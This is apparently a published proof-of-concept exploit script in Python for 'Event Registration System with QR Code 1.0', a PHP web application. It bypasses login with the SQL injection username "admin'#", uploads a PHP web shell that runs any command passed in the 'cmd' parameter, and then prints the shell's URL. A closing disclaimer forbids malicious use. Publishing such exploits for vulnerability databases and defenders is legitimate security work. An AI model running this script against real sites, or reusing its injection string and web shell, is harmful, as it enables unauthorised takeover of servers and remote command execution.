# Exploit Title: Event Registration System with QR Code 1.0 - Authentication Bypass & RCE
# Exploit Author: Javier Olmedo
# Date: 27/07/2021
# Vendor: Sourcecodester
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/event_0.zip
# Affected Version: 1.0
# Category: WebApps
# Platform: PHP
# Tested on: Ubuntu Server & Windows 10 Pro
import os, re, sys, argparse, requests
from termcolor import cprint
def banner():
os.system("cls")
print('''
___________ __
\_ _____/__ __ ____ _____/ |_
| __)_\ \/ // __ \ / \ __\\
| \\\\ /\ ___/| | \ |
/_______ / \_/ \___ >___| /__|
\/ \/ \/
Registration System
--[Authentication Bypass and RCE]--
@jjavierolmedo
''')
def get_args():
parser = argparse.ArgumentParser(description='Event - Authentication Bypass and RCE Exploit')
parser.add_argument('-t', '--target', dest="target", required=True, action='store', help='Target url')
parser.add_argument('-p', '--proxy', dest="proxy", required=False, action='store', help='Use proxy')
args = parser.parse_args()
return args
def auth_bypass(s, proxies, url):
data = {
"username":"admin'#",
"password":""
}
r = s.post(url, data=data, proxies=proxies)
if('{"status":"success"}' in r.text):
cprint("[+] Authenticacion Bypass Success!\n", "green")
return s
else:
cprint("[-] Authenticacion Bypass Error!\n", "red")
sys.exit(0)
def upload_shell(s, proxies, url):
content = "<?php echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>';?>"
file = {
'img':('cmd.php',content)
}
data = {
"name":"Event Registration System with QR Code - PHP",
"short_name":"ERS-QR-PHP",
}
r = s.post(url, files=file, data=data, proxies=proxies)
if('1' in r.text and r.status_code == 200):
cprint("[+] Upload Shell Success!\n", "green")
return s
else:
cprint("[-] Upload Shell Error!\n", "red")
sys.exit(0)
def get_shell_url(s, proxies, url):
r = s.get(url, proxies=proxies)
regex = '\_cmd.php"> (.*?)</a></li>'
shell_name = re.findall(regex, r.text)[0]
url_shell = "http://localhost/event/uploads/{shell_name}?cmd=whoami".format(shell_name=shell_name)
cprint("[+] Use your shell --> {url_shell}\n".format(url_shell=url_shell), "green")
def main():
banner()
args = get_args()
target = args.target
proxies = {'http':'','https':''}
if args.proxy:
proxies = {'http':'{proxy}'.format(proxy=args.proxy),'https':'{proxy}'.format(proxy=args.proxy)}
login_url = target + "/event/classes/Login.php?f=rlogin"
upload_url = target + "/event/classes/SystemSettings.php?f=update_settings"
shell_url = target + "/event/uploads/"
s = requests.Session()
s = auth_bypass(s, proxies, login_url)
s = upload_shell(s, proxies, upload_url)
s = get_shell_url(s, proxies, shell_url)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
cprint("[-] User aborted session\n", "red")
sys.exit(0)
# Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo
